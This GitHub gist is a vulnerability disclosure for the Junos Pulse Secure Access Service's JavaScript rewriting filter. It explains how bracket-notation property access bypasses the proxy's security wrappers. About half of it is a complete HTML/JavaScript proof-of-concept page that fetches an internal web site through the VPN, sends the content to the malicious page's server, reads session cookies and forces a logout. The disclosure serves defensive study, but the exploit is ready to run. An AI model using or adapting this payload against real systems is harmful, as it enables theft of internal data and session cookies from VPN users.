Created
October 25, 2012 21:16
-
-
Save jedisct1/3955466 to your computer and use it in GitHub Desktop.
juniper-pulse-flaw
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
The Junos Pulse Secure Access Service provides client-less access to remote web sites. | |
The service acts as a HTTPS proxy. Before sending content to the client, HTML, Javascript and CSS files are parsed and transformed in order to change remote links to local, VPN-aware links. | |
For example, links to http://www.openbsd.com get changed to https://vpn1.office.example.com/,DanaInfo=www.openbsd.com,SSO=U+ before being delivered to the client. | |
Javascript methods like open() and eval() are also transformed to secure wrappers like DanaMethodOpen() and DanaEval(). These wrappers ensure than no external URL can ever get directly reached by the browser, thus defeating the purpose of the VPN. | |
However, the Dana filters can easily be circumvented. | |
Sensible properties like document.cookies are mangled. | |
However, the proxy filter fails at parsing document['coo' + 'kie']. | |
In addition, a call to a protected method like: | |
xhr = new XMLHttpRequest(); | |
xhr.open(); | |
Can also be written as: | |
xhr = new XMLHttpRequest(); | |
xhr['open']() | |
The former one is properly rewritten, but the second one successfully bypasses the filter. | |
It's even possible to just overwrite Dana's wrappers with native methods, so that no further changes is necessary to bypass the filter: | |
XMLHttpRequest.prototype.DataMethodOpen = XMLHttpRequest.prototype['open']; | |
No matter what web site the client is actually browsing, the domain, as seen by the browser, remains the domain of the proxy. | |
Which means that arbitrary AJAX calls can be made to the Secure Access Service. No cross-domain rules will be violated. This includes calls to proxy requests to arbitrary servers, including servers from the internal network. | |
The following proof-of-concept demonstrates what a malicious third-party web site can do: | |
- Bypass the filter in order to fetch content from an internal web site | |
- Send the stolen content to the malicious web site, that time by _not_ bypassing the filter | |
- Grab cookies from the VPN session, that could be transmitted to the malicious web site as well | |
- Disconnect the user from its VPN session by bypassing the filter and loading the Secure Access Service logout page. | |
<!doctype html> | |
<html> | |
<body> | |
<script> | |
(function() { | |
function teardown() { | |
alert("Thanks for the cookies: " + document['coo' + 'kie']); | |
alert("Now let's tear down the VPN session"); | |
var xhr = new XMLHttpRequest(); | |
xhr['open']('GET', 'https://vpn1.example.com/dana-na/auth/logout.cgi'); | |
xhr['send'](); | |
} | |
alert("Let's fetch the content of some internal web site"); | |
var xhr = new XMLHttpRequest(); | |
xhr['open']('GET', | |
'https://vpn1.example.com/secure/,DanaInfo=jira.office.example.com,SSL+Dashboard.jspa'); | |
xhr.onreadystatechange = function() { | |
if (xhr.readyState == 4 && | |
(xhr.status == 200 || xhr.status == 302 || xhr.status == 0)) { | |
alert("Content sent to the malicious server: " + xhr.responseText); | |
var xhr2 = new XMLHttpRequest(); | |
xhr2.open('POST', 'thank-you-for-all-the-fish'); | |
xhr2.onreadystatechange = function() { | |
if (xhr.readyState == 4) { | |
teardown(); | |
} | |
}; | |
xhr2.send(xhr.responseText); | |
} | |
} | |
xhr['send'](); | |
})(); | |
</script> | |
</body> | |
</html> | |
This has been verified with the latest version of the IVE firmware on SA2500. |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment